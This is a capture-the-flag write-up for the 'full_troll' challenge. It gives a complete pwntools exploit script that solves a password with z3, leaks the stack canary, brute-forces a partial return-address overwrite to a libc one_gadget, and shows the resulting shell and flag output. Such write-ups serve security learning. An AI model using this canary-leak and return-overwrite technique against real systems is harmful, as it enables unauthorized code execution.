Rating: 5.0

Solve `password`, leak canary, and overwrite main ret with a partial libc (1/4096 tries) to one_gadget for shell.
Based on `/etc/issue.net` three libcs were tried until success.

Actual flag turned out to be `/home/chall/_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt` :)

*In hindsigt*: could've avoided brute by using `/proc/self/syscall` as [mephi42](/user/65395) mentioned in the [comments](/task/9715)

```python
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from os.path import exists
from os import environ, getcwd
from z3 import *
import struct

exe = context.binary = ELF('./full_troll')

env = dict(environ)

host = args.HOST or '200.136.252.31'
port = int(args.PORT or 2222)

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.REMOTE:
return connect(host, port)
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
return process([exe.path] + argv, *a, **kw)

gdbscript = '''
breakrva 0x103c
continue
'''.format(**locals())

# -- Exploit goes here --
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled

def solve_password():
vals = []
for i in range(0x17):
vals.append(BitVec('x{}'.format(i), 32))

s = Solver()

s.add((vals[1] ^ vals[0]) == 0x3f)
s.add((vals[2] ^ vals[1]) == 0xb)
s.add((vals[3] ^ vals[2]) == 0x27)
s.add((vals[4] ^ vals[3]) == 0x33)
s.add((vals[5] ^ vals[4]) == 0x41)
s.add((vals[6] ^ vals[5]) == 0x4f)
s.add((vals[7] ^ vals[6]) == 0x3b)
s.add((vals[8] ^ vals[7]) == 0x1b)
s.add((vals[9] ^ vals[8]) == 0x21)
s.add((vals[10] ^ vals[9]) == 0x32)
s.add((vals[0xb] ^ vals[10]) == 0x73)
s.add((vals[0xc] ^ vals[0xb]) == 0x79)
s.add((vals[0xd] ^ vals[0xc]) == 0x2b)
s.add((vals[0xe] ^ vals[0xd]) == 0x3a)
s.add(vals[0xe] == vals[0xf])
s.add((vals[0x10] ^ vals[0xf]) == 2)
s.add((vals[0x11] ^ vals[0x10]) == 0x38)
s.add((vals[0x12] ^ vals[0x11]) == 0x1d)
s.add((vals[0x13] ^ vals[0x12]) == 3)
s.add((vals[0x14] ^ vals[0x13]) == 4)
s.add((vals[0x15] ^ vals[0x14]) == 0x49)
s.add((vals[0x16] ^ vals[0x15]) == 0x61)
s.add(vals[0x16] == 0x58)

assert s.check() == sat
m = s.model()

return ''.join(map(chr, [m[vals[i]].as_long() for i in range(0x17)])) # VibEv7xCXyK8AjPPRjwtp9X

def cat_head_n1(fn):
io.sendlineafter('Tell me your password.', fit({
0: solve_password(),
0x20: fn,
}))
return io.recvuntil('Welcome my friend.')

log.info('solving pw...')
password = solve_password()
log.info(password)

log.info('go grab some coffee...')

# cat_head_n1('/etc/issue.net') # Ubuntu 18.04.3 LTS

NUM_TRIES = 2**12 # 12bits bruteforce

# one_gadgets with rax == NULL
for fn, gadgets in [
('libc6_2.27-3ubuntu1_amd64.so', [0x4f2c5]), # this turned out to be the right one
# ('libc6_2.26-0ubuntu2_amd64.so', [0x47c46]),
# ('libc6_2.26-0ubuntu2.1_amd64.so', [0x47c46]),
]:
libc = ELF('/libc-database/db/{}'.format(fn, checksec=False))

for gadget in gadgets:
for attempt in range(NUM_TRIES):
if attempt % 10 == 0:
print('{}/{}'.format(attempt, NUM_TRIES))
context.log_level = logging.CRITICAL
io = start(env=env)
try:
# leak canary
canary = ''
for i in range(8):
io.sendlineafter('Tell me your password.', fit({
0: password,
0x50-8-1+i: 'A',
}))
io.recvuntil('Unable to open ')
leak = io.recvuntil(' file!')

leak = leak[0x28+i:leak.index(' file!')]
log.info('leak: {}'.format(leak))
if len(leak) == 0:
canary += '\0'
else:
canary += leak

log.info('canary: {}'.format(canary))

if len(canary) == 8:
break

canary = u64(canary)
log.info('canary: {:#x}'.format(canary))

io.sendlineafter('Tell me your password.', fit({
0: password,
0x20: '\0', # flag_path[0] == 0: break ret
0x50-8: [
canary,
8*'B',
p32(gadget)[:3],
],
}))

# got shell?
io.sendline('id')
x = io.recvuntil('uid', timeout=2)
if len(x) < 1:
continue

context.log_level = logging.INFO
log.info(x)
print("worked on attempt #{}".format(attempt))
io.sendline('cat /home/chall/_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt')
io.interactive()
break
except EOFError:
continue
except struct.error:
continue
except Exception as e:
# if attempt % 500 == 0:
print('{}/{} exc: {}'.format(attempt, NUM_TRIES, type(e).__name__))
raise
continue
finally:
context.log_level = logging.CRITICAL
io.close()
del io

log.info('done')

'''
[*] solving pw...
[*] VibEv7xCXyK8AjPPRjwtp9X
[*] go grab some coffee...
[*] '/libc-database/db/libc6_2.27-3ubuntu1_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0/4096 exc: <type 'exceptions.EOFError'>
...
3000/4096 exc: <type 'exceptions.EOFError'>
[*]
Unknown erroruid
worked on attempt #3054
[*] Switching to interactive mode
=1001(chall) gid=1001(chall) groups=1001(chall)
CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}
$
'''
```